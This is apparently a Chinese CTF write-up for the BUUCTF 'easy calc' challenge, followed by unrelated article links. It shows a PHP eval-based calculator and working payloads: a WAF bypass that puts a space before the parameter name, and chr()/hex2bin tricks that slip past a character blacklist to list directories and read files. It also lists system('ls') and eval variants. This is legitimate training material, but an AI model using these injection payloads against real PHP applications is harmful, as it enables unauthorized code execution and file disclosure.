【BUUCTF】easy calc (PHP代码审计)

题目来源

收录于:BUUCTF  BUUCTF2019

题目描述

一个计算器,尝试SSTI,SQL注入都无果

对计算过程抓包,发现/clac.php,表达式通过num参数进行传递

访问/calc.php,得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

当num传递的为字母时,被waf拦截(另一个waf,不是上面PHP文件设置的黑名单)

题解

当在num前加上空格,即变量为%20num时,就可以绕过WAF对num的审计。在转化为PHP的key=>value时,PHP解析了传入的key,做了两件事情:

  • 删除空白符
  • 转化特殊字符

就可以把想要的变量转化为num了。

exp如下:

calc.php?%20num=phpinfo()

接下来获取目录:print_r(scandir('/'))

这里尝试使用   system('ls') 获取目录时失败

由于对'进行过滤,可以使用chr()函数绕过,payload如下:

calc.php?%20num=print_r(scandir(chr(47)))
calc.php?%20num=print_r(scandir(hex2bin(dechex(47))))

接下来对文件进行读取,payload如下:

calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

file_get_contents('/f1agg')

得到flag

总结

PHP解析参数时进行以下两步:

  • 删除空白符
  • 转化特殊字符

可以使用在参数名前加%20的方法进行waf绕过

查看目录的PHP语句如下:

system('ls');
echo system('ls');
eval(system('ls'));
eval("echo system('ls');"); print_r(scandir('.'));
echo print_r(scandir('.'));
eval(print_r(scandir('.')));
eval("print_r(scandir('.'));");
eval("echo print_r(scandir('.'));"); var_dump(scandir('.'));
echo var_dump(scandir('.'));
eval(var_dump(scandir('.')));
eval("var_dump(scandir('.'));");
eval("echo var_dump(scandir('.'));");

读取文件内容的PHP语句将上面的函数改为file_get_contents()即可。

当对引号进行过滤时,可以使用chr()hex2bin(dechex())拼接的方式绕过过滤。

【BUUCTF】easy calc的更多相关文章

  1. 【BZOJ】2655: calc 动态规划+拉格朗日插值

    [题意]一个序列$a_1,...,a_n$合法当且仅当它们都是[1,A]中的数字且互不相同,一个序列的价值定义为数字的乘积,求所有序列的价值和.n<=500,A<=10^9,n+1< ...

  2. buuctf—web—Easy Calc

    启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery,     ("# ...

  3. 【tyvj1952】easy

    AK大神又AK了!!! orzorzorz 题意: 给出一个字符串由'x'.'o'.'?' '?'有一半的几率为'x' 一半几率为'o' 得分为所有连续的'o'的个数的平方和 如ooxooo 得分为2 ...

  4. BZOJ 4318: OSU! 期望概率dp && 【BZOJ3450】【Tyvj1952】Easy 概率DP

    这两道题是一样的...... 我就说一下较难的那个 OSU!: 这道15行的水题我竟然做了两节课...... 若是f[i][0]=(1-p)*f[i-1][0]+(1-p)*f[i-1][1],f[i ...

  5. 【BZOJ3450】Easy [期望DP]

    Easy Time Limit: 10 Sec  Memory Limit: 128 MB[Submit][Status][Discuss] Description 某一天WJMZBMR在打osu~~ ...

  6. 【转】 Easy RadControl 之 RadGridView(Silverlight)

    1.不显示第1列即列指示器(Row Indicators) 在 telerik:RadGridView中设置属性   RowIndicatorVisibility="Collapsed&qu ...

  7. 【BZOJ3450】【Tyvj1952】Easy 可能DP

    联系: #include <stdio.h> int main() { puts("转载请注明出处[辗转山河弋流歌 by 空灰冰魂]谢谢"); puts("网 ...

  8. 【ZCTF】easy reverse 详解

    0x01  前言     团队逆向牛的解题思路,分享出来~ 0x02  内容 0. 样本 bbcdd1f7-9983-4bf4-9fde-7f77a6b947b4.dll 1. 静态分析 使用IDAP ...

  9. 【BZOJ3450】Easy(期望)

    题意: 某一天WJMZBMR在打osu~~~但是他太弱逼了,有些地方完全靠运气:(我们来简化一下这个游戏的规则有n次点击要做,成功了就是o,失败了就是x,分数是按comb计算的,连续a个comb就有a ...

  10. 【POJ3740】Easy Finding DLX(Dancing Links)精确覆盖问题

    题意:多组数据,每组数据给你几行数,要求选出当中几行.使得每一列都有且仅有一个1.询问是可不可行,或者说能不能找出来. 题解:1.暴搜.2.DLX(Dancing links). 本文写的是DLX. ...

随机推荐

  1. flutter问题汇总

    Text文字居中 Text(           'You will need to post a photo before you can play!',           textAlign:  ...

  2. DBeaver 不错大家都来用 DBeaver 吧

    支持 windows linux 支持 pg 等 n 多数据库

  3. [MySQL]数据库修复(Example:1146 Error )

    删除数据库自带的表,导致的异常问题修复方法如下 运行cmd,查询MYSQL所在位置 where mysql cd到MySQL安装目录的bin目录下 执行命令 mysql_upgrade -u root ...

  4. 【Vue】vite+vue3 如何实现点击进入详情页/文章页

    如上图,点击标题可以进入详情页,关键代码截图如下: 然后去配置路由 那么组件如何从地址中接收参数呢

  5. SQL语句报com.alibaba.druid.sql.parser.ParserException: TODO IDENTIFIER cross

    这个错误根据网络上人员说是解析出错!虽然报错但不影响结果!但是报错了就是看的不爽!把druid包换成druid-1.0.9.jar就解决这个问题了!至于性能暂时还没测试到

  6. Promise/A+ 规范 - 中文版本

    Promises/A+ 这是一个开放标准,旨在让不同开发者实现的 JavaScript Promise 能够无缝衔接并应用--由前辈们制定,为其他后来者提供参考 一个 promise 所表示的是异步操 ...

  7. Qt/C++开发经验小技巧281-285

    悬停窗体QDockWidget默认在标题栏右键会弹出悬停模块的显示隐藏菜单,如果需要去掉,会发现设置Qt::NoContextMenu或者事件过滤器拦截都是无效的,必须设置 dockWidget-&g ...

  8. 清除 TortoiseSVN已存储的连接URL地址

    Eclipse 清除 SVN 的 URL 历史记录1.关闭 Eclipse2.进入 工程目录 \.metadata\.plugins\org.tigris.subversion.subclipse.c ...

  9. CDS标准视图:维护计划 I_MaintenancePlanBasic

    视图名称:维护计划 I_MaintenancePlanBasic 视图类型:基础 视图代码: 点击查看代码 @AbapCatalog.compiler.compareFilter: true @Aba ...

  10. 开源搜索引擎Lucene、Solr、Sphinx等优劣势比较

    以下重点介绍最常用的开源搜素引擎: 1.Lucene 2.Solr 3.Elasticsearch 4.Sphinx 5.各自的特点和优劣势选型比较 开源搜索引擎分类 主要分为两类:Java开发和C+ ...